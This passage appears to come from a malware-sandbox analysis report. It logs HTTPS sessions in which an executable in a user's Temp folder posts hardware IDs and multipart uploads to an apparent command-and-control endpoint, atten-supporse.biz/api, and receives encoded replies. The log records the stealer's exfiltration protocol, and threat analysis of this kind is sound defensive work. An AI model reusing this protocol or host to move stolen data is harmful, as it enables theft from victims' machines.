8ef7a236bae48ce9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5546&min_rtt=2108&rtt_var=3047&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=983&delivery_rate=1385199&cwnd=231&unsent_bytes=0&cid=90ad5627b1519a71&ts=1032&x=0"
2024-12-09 20:09:35 UTC	54	IN	Data Raw: 33 30 0d 0a 55 39 71 70 52 6c 59 61 4d 52 6c 39 79 2f 70 64 4a 48 79 50 58 54 67 4f 58 6e 39 6e 63 35 2b 2b 63 32 33 38 4f 32 4b 49 79 4d 38 49 68 77 3d 3d 0d 0a Data Ascii: 30U9qpRlYaMRl9y/pdJHyPXTgOXn9nc5++c238O2KIyM8Ihw==
2024-12-09 20:09:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49930	104.21.48.1	443	5440	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:35 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-09 20:09:35 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-09 20:09:36 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2cmkvtoesf5og0kpptedl90rq2; expires=Fri, 04-Apr-2025 13:56:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uuTwxp1dyvOXvRrJ%2F1BAu99HTgFCpXW9wmWSZ%2BDgC8kWes4Ii73ogi8Nr5ZHSmMb8V3TAAszIn90Fn75v%2BfQDJjVwg8IKxTL10eahwd5MbrEHwJk3pc4z%2BuhJfstLdy9tDrt4tc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a23f4c5cf797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1774&min_rtt=1735&rtt_var=728&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1426477&cwnd=151&unsent_bytes=0&cid=809cb54f4bcc81c6&ts=756&x=0"
2024-12-09 20:09:36 UTC	352	IN	Data Raw: 31 64 31 65 0d 0a 43 32 7a 75 6c 4d 65 58 31 46 66 39 48 74 58 75 62 58 35 4d 4e 67 4e 69 48 61 48 5a 75 36 4c 6c 50 53 70 78 42 4f 6b 31 77 41 46 77 54 70 69 32 2f 61 50 34 64 59 35 37 39 39 51 5a 44 44 6c 54 4c 30 42 38 78 66 75 42 78 49 52 52 57 52 51 6f 79 30 4f 74 49 7a 45 4b 6a 2f 69 30 38 76 68 31 6d 47 62 33 31 44 59 46 62 6c 4e 74 51 43 65 44 76 4e 48 41 68 46 46 49 45 47 2b 47 52 61 78 69 59 77 43 4a 2f 4b 4c 30 73 44 61 52 63 37 43 4c 43 42 38 6d 57 47 6f 50 64 63 7a 37 6c 34 43 41 52 77 68 4c 4a 71 52 51 74 47 42 47 44 5a 33 2f 35 65 72 34 4c 4e 39 37 75 38 78 58 58 43 31 54 59 51 35 37 78 62 4c 54 79 6f 31 5a 53 52 56 75 6d 56 79 6d 61 57 4d 4f 69 76 32 6f 2f 61 51 37 6d 33 53 37 6a 51 49 66 62 68 6f 68 42 32 65 44 34 35 6d 54 74 56 78 5a 41 Data Ascii: 1d1eC2zulMeX1Ff9HtXubX5MNgNiHaHZu6LlPSpxBOk1wAFwTpi2/aP4dY5799QZDDlTL0B8xfuBxIRRWRQoy0OtIzEKj/i08vh1mGb31DYFblNtQCeDvNHAhFFIEG+GRaxiYwCJ/KL0sDaRc7CLCB8mWGoPdcz7l4CARwhLJqRQtGBGDZ3/5er4LN97u8xXXC1TYQ57xbLTyo1ZSRVumVymaWMOiv2o/aQ7m3S7jQIfbhohB2eD45mTtVxZA
2024-12-09 20:09:36 UTC	1369	IN	Data Raw: 69 6b 2b 4c 59 6e 6c 33 65 38 69 52 30 58 4a 31 6c 73 41 48 4c 4a 74 4e 72 41 67 46 56 43 48 47 79 50 57 71 39 6c 61 51 37 4d 75 4f 58 79 72 6e 58 48 50 4a 53 4a 48 78 73 69 51 69 4d 36 50 39 7a 31 77 49 43 41 55 77 68 4c 4a 6f 4e 53 6f 57 42 69 41 59 2f 2b 72 75 65 32 4a 35 6c 78 73 70 34 4a 47 53 42 65 59 68 4a 31 7a 62 33 61 79 59 78 57 54 52 52 69 79 78 6e 69 5a 48 46 4f 31 4c 61 45 2b 4c 30 35 6c 57 75 33 7a 42 42 53 4e 78 52 6d 44 44 2b 62 2b 39 33 42 67 31 35 4d 48 57 69 50 57 36 52 74 5a 41 47 4b 2f 4b 58 79 76 44 32 58 66 62 71 48 41 42 77 72 57 57 55 47 63 38 4b 2b 6d 59 37 48 57 46 42 54 50 73 74 35 70 57 42 37 54 4c 6e 31 71 2f 75 78 49 39 39 6a 2b 5a 56 50 47 79 49 55 4f 55 42 78 78 72 54 4c 77 5a 56 61 52 67 46 71 6a 6c 47 76 59 47 63 4f 69 Data Ascii: ik+LYnl3e8iR0XJ1lsAHLJtNrAgFVCHGyPWq9laQ7MuOXyrnXHPJSJHxsiQiM6P9z1wICAUwhLJoNSoWBiAY/+rue2J5lxsp4JGSBeYhJ1zb3ayYxWTRRiyxniZHFO1LaE+L05lWu3zBBSNxRmDD+b+93Bg15MHWiPW6RtZAGK/KXyvD2XfbqHABwrWWUGc8K+mY7HWFBTPst5pWB7TLn1q/uxI99j+ZVPGyIUOUBxxrTLwZVaRgFqjlGvYGcOi
2024-12-09 20:09:36 UTC	1369	IN	Data Raw: 78 49 39 39 6a 2b 5a 56 50 47 79 49 55 4f 55 42 79 79 37 37 63 7a 34 5a 56 52 68 5a 73 68 31 2b 73 59 48 73 42 69 50 61 70 2f 62 77 34 6b 58 69 2f 68 51 51 58 4b 46 52 67 43 6a 2b 4e 2b 39 37 59 78 77 63 49 4a 32 47 48 57 71 30 68 58 41 32 43 2b 4b 4c 6a 39 69 72 52 5a 66 65 4c 41 31 78 32 46 47 30 4a 66 38 69 78 33 63 43 41 55 6b 30 51 59 59 68 61 70 57 6c 6e 43 59 6a 36 72 50 69 77 4e 5a 68 34 73 70 34 4b 46 53 4a 59 49 55 34 2f 78 4b 4f 5a 6d 4d 64 77 54 77 56 6c 70 46 53 7a 61 69 6b 52 77 75 2f 6c 38 72 70 31 78 7a 79 77 69 51 63 58 4b 46 78 68 45 6e 72 4e 73 4e 6a 4b 67 56 35 46 48 32 43 4c 56 71 4a 6c 5a 51 36 4c 38 62 66 6e 73 7a 4f 4e 64 76 66 43 54 78 73 32 46 44 6c 41 53 64 4f 73 79 4e 62 46 61 6b 73 64 61 49 78 42 34 6e 77 6e 46 38 7a 78 71 62 Data Ascii: xI99j+ZVPGyIUOUByy77cz4ZVRhZsh1+sYHsBiPap/bw4kXi/hQQXKFRgCj+N+97YxwcIJ2GHWq0hXA2C+KLj9irRZfeLA1x2FG0Jf8ix3cCAUk0QYYhapWlnCYj6rPiwNZh4sp4KFSJYIU4/xKOZmMdwTwVlpFSzaikRwu/l8rp1xzywiQcXKFxhEnrNsNjKgV5FH2CLVqJlZQ6L8bfnszONdvfCTxs2FDlASdOsyNbFaksdaIxB4nwnF8zxqb
2024-12-09 20:09:36 UTC	1369	IN	Data Raw: 63 72 71 48 41 42 63 38 56 47 77 45 63 38 65 7a 30 73 72 48 45 51 67 55 66 73 73 50 34 6c 5a 6b 41 59 7a 31 73 37 57 70 65 34 59 38 73 49 42 50 52 47 35 59 62 77 42 77 7a 37 66 53 79 49 5a 54 52 68 52 6a 67 6c 2b 71 63 57 67 4b 68 50 65 72 2b 72 63 78 6d 6e 6d 7a 69 77 73 61 49 52 51 76 51 48 6a 62 2b 34 47 41 71 48 68 39 55 55 65 78 46 37 30 74 63 45 36 4c 2b 75 57 74 39 6a 6d 63 63 4c 2b 44 43 52 55 69 58 6d 67 4c 63 38 69 2f 31 63 6d 43 57 55 6b 57 59 34 70 54 72 6d 6c 76 44 59 2f 35 71 76 71 2b 64 64 45 38 73 4a 52 50 52 47 35 78 64 67 74 78 78 66 76 47 6a 70 34 66 54 78 38 6d 30 78 65 75 61 6d 38 49 69 66 71 6b 38 37 34 77 6c 33 69 32 69 67 6b 66 49 56 42 6b 41 58 44 48 74 39 66 4b 68 6c 35 45 47 47 6d 41 55 75 49 74 4b 51 6d 55 74 76 32 31 68 7a 61 Data Ascii: crqHABc8VGwEc8ez0srHEQgUfssP4lZkAYz1s7Wpe4Y8sIBPRG5YbwBwz7fSyIZTRhRjgl+qcWgKhPer+rcxmnmziwsaIRQvQHjb+4GAqHh9UUexF70tcE6L+uWt9jmccL+DCRUiXmgLc8i/1cmCWUkWY4pTrmlvDY/5qvq+ddE8sJRPRG5xdgtxxfvGjp4fTx8m0xeuam8Iifqk874wl3i2igkfIVBkAXDHt9fKhl5EGGmAUuItKQmUtv21hza
2024-12-09 20:09:36 UTC	1369	IN	Data Raw: 77 41 51 62 68 6f 68 42 32 65 44 34 35 6e 75 6a 45 78 66 45 47 69 41 51 62 6b 6a 64 6b 43 56 74 71 4c 35 39 6d 33 66 66 37 79 48 43 78 77 69 56 47 55 4e 66 39 47 30 33 73 65 4f 56 46 6f 5a 59 59 78 63 71 6d 68 6d 43 4a 37 36 71 2b 65 7a 4a 34 30 38 2b 63 77 49 42 47 34 4d 49 54 5a 34 30 36 76 61 67 72 5a 4a 53 77 56 74 68 6c 76 69 66 43 63 58 7a 50 47 70 74 65 35 31 6d 58 4f 2b 6a 77 41 64 4a 31 68 73 42 58 62 47 75 74 2f 45 6a 56 56 49 46 57 43 4b 55 71 68 67 61 41 53 46 38 61 33 79 74 53 66 66 4d 76 65 4c 46 31 78 32 46 45 67 48 62 63 32 72 6d 64 2f 4a 52 67 67 55 61 73 73 50 34 6d 64 6a 41 59 6a 78 71 66 4f 7a 4d 35 4a 39 75 49 30 50 45 79 70 66 61 41 5a 2b 7a 72 37 55 78 4a 56 56 51 78 78 71 67 6c 75 76 49 79 64 4f 69 2b 37 6c 72 66 59 45 6b 6e 4b 35 Data Ascii: wAQbhohB2eD45nujExfEGiAQbkjdkCVtqL59m3ff7yHCxwiVGUNf9G03seOVFoZYYxcqmhmCJ76q+ezJ408+cwIBG4MITZ406vagrZJSwVthlvifCcXzPGpte51mXO+jwAdJ1hsBXbGut/EjVVIFWCKUqhgaASF8a3ytSffMveLF1x2FEgHbc2rmd/JRggUassP4mdjAYjxqfOzM5J9uI0PEypfaAZ+zr7UxJVVQxxqgluvIydOi+7lrfYEknK5
2024-12-09 20:09:36 UTC	1369	IN	Data Raw: 52 66 5a 41 31 79 7a 72 6a 66 78 6f 78 54 57 68 70 6d 69 46 7a 69 4c 53 6b 4a 6c 4c 62 39 74 5a 55 69 69 58 61 77 67 42 6b 58 4c 31 64 33 44 57 2b 44 39 5a 6e 52 67 45 34 49 53 33 43 62 51 4b 56 38 4a 78 66 4d 38 61 6d 31 37 6e 57 5a 64 62 47 4c 43 52 49 38 55 57 63 50 63 4d 71 79 33 63 69 45 58 30 77 58 59 59 35 55 72 6d 68 75 44 59 50 79 72 50 75 2f 4f 74 38 79 39 34 73 58 58 48 59 55 51 42 74 38 7a 37 61 5a 33 38 6c 47 43 42 52 71 79 77 2f 69 62 32 63 4c 6a 50 79 6a 38 62 4d 7a 6c 58 6d 33 68 77 77 54 4b 6c 4a 6c 44 33 2f 49 73 74 6a 47 67 6c 56 44 46 57 75 49 55 61 51 6a 4a 30 36 4c 37 75 57 74 39 68 57 45 63 62 75 4c 54 77 4e 67 54 53 45 48 63 34 50 6a 6d 63 75 4c 57 30 38 54 61 34 68 66 70 32 64 6a 43 34 7a 2b 74 2f 32 32 4d 6f 31 75 74 34 55 4b 45 Data Ascii: RfZA1yzrjfxoxTWhpmiFziLSkJlLb9tZUiiXawgBkXL1d3DW+D9ZnRgE4IS3CbQKV8JxfM8am17nWZdbGLCRI8UWcPcMqy3ciEX0wXYY5UrmhuDYPyrPu/Ot8y94sXXHYUQBt8z7aZ38lGCBRqyw/ib2cLjPyj8bMzlXm3hwwTKlJlD3/IstjGglVDFWuIUaQjJ06L7uWt9hWEcbuLTwNgTSEHc4PjmcuLW08Ta4hfp2djC4z+t/22Mo1ut4UKE
2024-12-09 20:09:36 UTC	265	IN	Data Raw: 41 62 63 43 72 32 73 2b 57 59 51 68 4c 66 37 55 58 71 58 56 75 48 6f 2f 67 72 76 69 36 4a 4b 45 38 37 39 68 64 54 6e 77 47 4d 78 38 2f 33 49 53 58 67 49 59 66 45 43 70 2f 79 30 48 69 4f 7a 74 41 7a 4f 54 6c 72 66 5a 79 6e 47 36 6c 69 67 77 4b 4c 52 4e 66 50 6c 6a 56 73 64 37 51 67 45 68 48 55 79 6a 4c 57 4f 49 37 55 45 36 46 38 62 37 6b 6f 44 69 50 65 2f 65 7a 51 56 77 32 46 44 6c 41 53 73 43 31 31 38 65 52 54 67 55 30 63 49 46 51 73 6d 52 2b 41 63 79 34 35 66 50 32 62 63 77 79 39 34 67 65 58 48 59 45 4d 31 73 71 6b 4f 79 4a 6b 70 67 52 55 56 4e 77 79 77 2f 77 4c 53 6b 63 7a 4b 37 6c 73 72 55 6e 6a 58 71 30 6d 67 78 62 45 47 70 47 47 6e 4c 46 72 4d 6a 2b 75 56 68 53 48 6d 43 63 52 75 35 32 61 67 43 43 38 62 4f 31 2b 48 57 51 50 4f 2b 31 54 31 52 75 61 79 Data Ascii: AbcCr2s+WYQhLf7UXqXVuHo/grvi6JKE879hdTnwGMx8/3ISXgIYfECp/y0HiOztAzOTlrfZynG6ligwKLRNfPljVsd7QgEhHUyjLWOI7UE6F8b7koDiPe/ezQVw2FDlASsC118eRTgU0cIFQsmR+Acy45fP2bcwy94geXHYEM1sqkOyJkpgRUVNwyw/wLSkczK7lsrUnjXq0mgxbEGpGGnLFrMj+uVhSHmCcRu52agCC8bO1+HWQPO+1T1Ruay
2024-12-09 20:09:36 UTC	1369	IN	Data Raw: 32 31 32 61 0d 0a 57 45 55 55 59 55 63 4a 6f 61 68 58 6c 6b 43 4a 76 6e 35 62 76 32 4d 39 38 6b 35 38 4a 50 47 44 38 55 4f 56 41 74 6d 4f 36 4b 6c 39 63 4e 56 31 31 2f 79 30 48 69 4f 7a 74 41 7a 4f 54 6c 72 66 5a 79 6e 47 36 6c 69 67 77 4b 4c 52 4e 66 50 6c 48 45 76 64 7a 48 6c 78 31 6d 47 48 4b 4d 46 2b 77 6a 5a 6b 37 55 7a 2b 57 39 39 67 72 52 50 4b 2f 4d 56 31 77 62 56 32 38 4f 65 4e 57 71 6c 4f 36 41 57 55 30 55 64 73 6c 35 71 58 64 75 54 73 4b 32 6f 37 58 75 5a 64 45 38 73 35 31 50 52 48 34 47 4f 6c 55 73 6c 4f 75 4c 33 38 6c 47 43 41 55 6d 30 77 58 73 49 33 74 4f 31 4c 62 69 39 71 51 6e 6d 58 2b 68 6a 30 67 69 45 46 64 33 44 58 44 49 75 75 66 2b 71 56 4a 4a 45 47 6a 4a 5a 72 52 75 65 51 32 4a 38 5a 76 4c 75 44 4b 4c 65 37 6d 4b 44 31 78 67 46 47 35 Data Ascii: 212aWEUUYUcJoahXlkCJvn5bv2M98k58JPGD8UOVAtmO6Kl9cNV11/y0HiOztAzOTlrfZynG6ligwKLRNfPlHEvdzHlx1mGHKMF+wjZk7Uz+W99grRPK/MV1wbV28OeNWqlO6AWU0Udsl5qXduTsK2o7XuZdE8s51PRH4GOlUslOuL38lGCAUm0wXsI3tO1Lbi9qQnmX+hj0giEFd3DXDIuuf+qVJJEGjJZrRueQ2J8ZvLuDKLe7mKD1xgFG5
2024-12-09 20:09:36 UTC	1369	IN	Data Raw: 5a 6e 45 6c 68 38 51 51 7a 54 51 41 76 45 30 4f 56 79 54 75 4c 79 31 6f 48 58 48 4c 76 6e 4d 48 56 78 32 46 43 59 44 62 64 47 39 32 74 61 45 47 48 59 74 51 59 56 51 6f 33 56 35 41 34 44 58 70 75 53 38 43 36 46 70 74 49 49 42 47 7a 68 46 49 55 34 2f 7a 50 75 42 2b 63 63 58 43 43 77 6f 79 30 2f 69 4f 79 6b 37 6a 2f 69 72 38 71 41 6b 30 6c 75 35 69 77 34 4b 50 6c 6c 74 49 58 7a 53 73 5a 6d 4f 78 31 6b 49 53 7a 54 46 46 36 5a 79 4b 56 62 63 70 50 36 67 35 57 4c 50 4c 71 6a 43 46 6c 77 34 46 44 6c 53 4d 59 4f 70 6d 5a 6a 48 47 45 73 42 64 49 31 55 74 47 41 75 4d 4c 4c 54 73 76 61 6d 4d 35 78 43 69 61 63 44 47 69 6c 4f 5a 67 5a 5a 34 2f 75 58 67 49 67 66 45 43 6f 6d 77 78 65 64 4c 53 6b 57 7a 4b 37 6c 77 4c 55 37 6b 58 75 68 6e 55 49 35 4f 56 64 78 42 6e 79 44 Data Ascii: ZnElh8QQzTQAvE0OVyTuLy1oHXHLvnMHVx2FCYDbdG92taEGHYtQYVQo3V5A4DXpuS8C6FptIIBGzhFIU4/zPuB+ccXCCwoy0/iOyk7j/ir8qAk0lu5iw4KPlltIXzSsZmOx1kISzTFF6ZyKVbcpP6g5WLPLqjCFlw4FDlSMYOpmZjHGEsBdI1UtGAuMLLTsvamM5xCiacDGilOZgZZ4/uXgIgfEComwxedLSkWzK7lwLU7kXuhnUI5OVdxBnyD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49936	104.21.48.1	443	5440	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:37 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BRO4LUF8AI0DNK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12841 Host: atten-supporse.biz
2024-12-09 20:09:37 UTC	12841	OUT	Data Raw: 2d 2d 42 52 4f 34 4c 55 46 38 41 49 30 44 4e 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 42 52 4f 34 4c 55 46 38 41 49 30 44 4e 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 52 4f 34 4c 55 46 38 41 49 30 44 4e 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 42 52 Data Ascii: --BRO4LUF8AI0DNKContent-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--BRO4LUF8AI0DNKContent-Disposition: form-data; name="pid"2--BRO4LUF8AI0DNKContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--BR
2024-12-09 20:09:38 UTC	1024	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4u0nomk8uhqu66mfi5q3jkhll8; expires=Fri, 04-Apr-2025 13:56:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y2xPOGs3%2B%2BduC%2FjRkcZBa2Obr1e7UcPlheseMuuCIJxFeFW%2FGbM8Rw738lcjAhDhUDPmzORODw%2BZ5pkmd8iOxyHSBFx1UZXR35%2BApaSHku9rZTNYeJgL6u0lokCOZjWOapJVMrw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a24d8fb87ced-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1790&min_rtt=1790&rtt_var=895&sent=11&recv=20&lost=0&retrans=1&sent_bytes=4232&recv_bytes=13779&delivery_rate=292409&cwnd=179&unsent_bytes=0&cid=d29a3446a1c6d561&ts=997&x=0"
2024-12-09 20:09:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 20:09:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49943	104.21.48.1	443	5440	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:41 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=A2HRMIDBVT8ZGJX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15093 Host: atten-supporse.biz
2024-12-09 20:09:41 UTC	15093	OUT	Data Raw: 2d 2d 41 32 48 52 4d 49 44 42 56 54 38 5a 47 4a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 41 32 48 52 4d 49 44 42 56 54 38 5a 47 4a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 32 48 52 4d 49 44 42 56 54 38 5a 47 4a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --A2HRMIDBVT8ZGJXContent-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--A2HRMIDBVT8ZGJXContent-Disposition: form-data; name="pid"2--A2HRMIDBVT8ZGJXContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-09 20:09:42 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=svhnrjiu72kk0id6f8ma739h1p; expires=Fri, 04-Apr-2025 13:56:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2Ovt3lRP8y0n%2BBAAjpC2KwZf1AH%2BOvM0qHTWQXhK6QiAdJMS4T%2BbpZAbW3umJo0ejvQpGkkaM8iClGwCqgf71BrFgDDMboYbqeAQ%2BqRmM9%2BGRzN1OfJaQFngleAshqp0TudWRfE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a263ab637ced-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1859&min_rtt=1818&rtt_var=711&sent=14&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16032&delivery_rate=1606160&cwnd=179&unsent_bytes=0&cid=a10404de371d1d38&ts=944&x=0"
2024-12-09 20:09:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 20:09:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49951	104.21.48.1	443	5440	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:44 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4PT5RID7U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19915 Host: atten-supporse.biz
2024-12-09 20:09:44 UTC	15331	OUT	Data Raw: 2d 2d 34 50 54 35 52 49 44 37 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 34 50 54 35 52 49 44 37 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 34 50 54 35 52 49 44 37 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 34 50 54 35 52 49 44 37 55 0d 0a 43 6f 6e 74 65 6e Data Ascii: --4PT5RID7UContent-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--4PT5RID7UContent-Disposition: form-data; name="pid"3--4PT5RID7UContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--4PT5RID7UConten
2024-12-09 20:09:44 UTC	4584	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2+?2+?o?Mp5p_oI
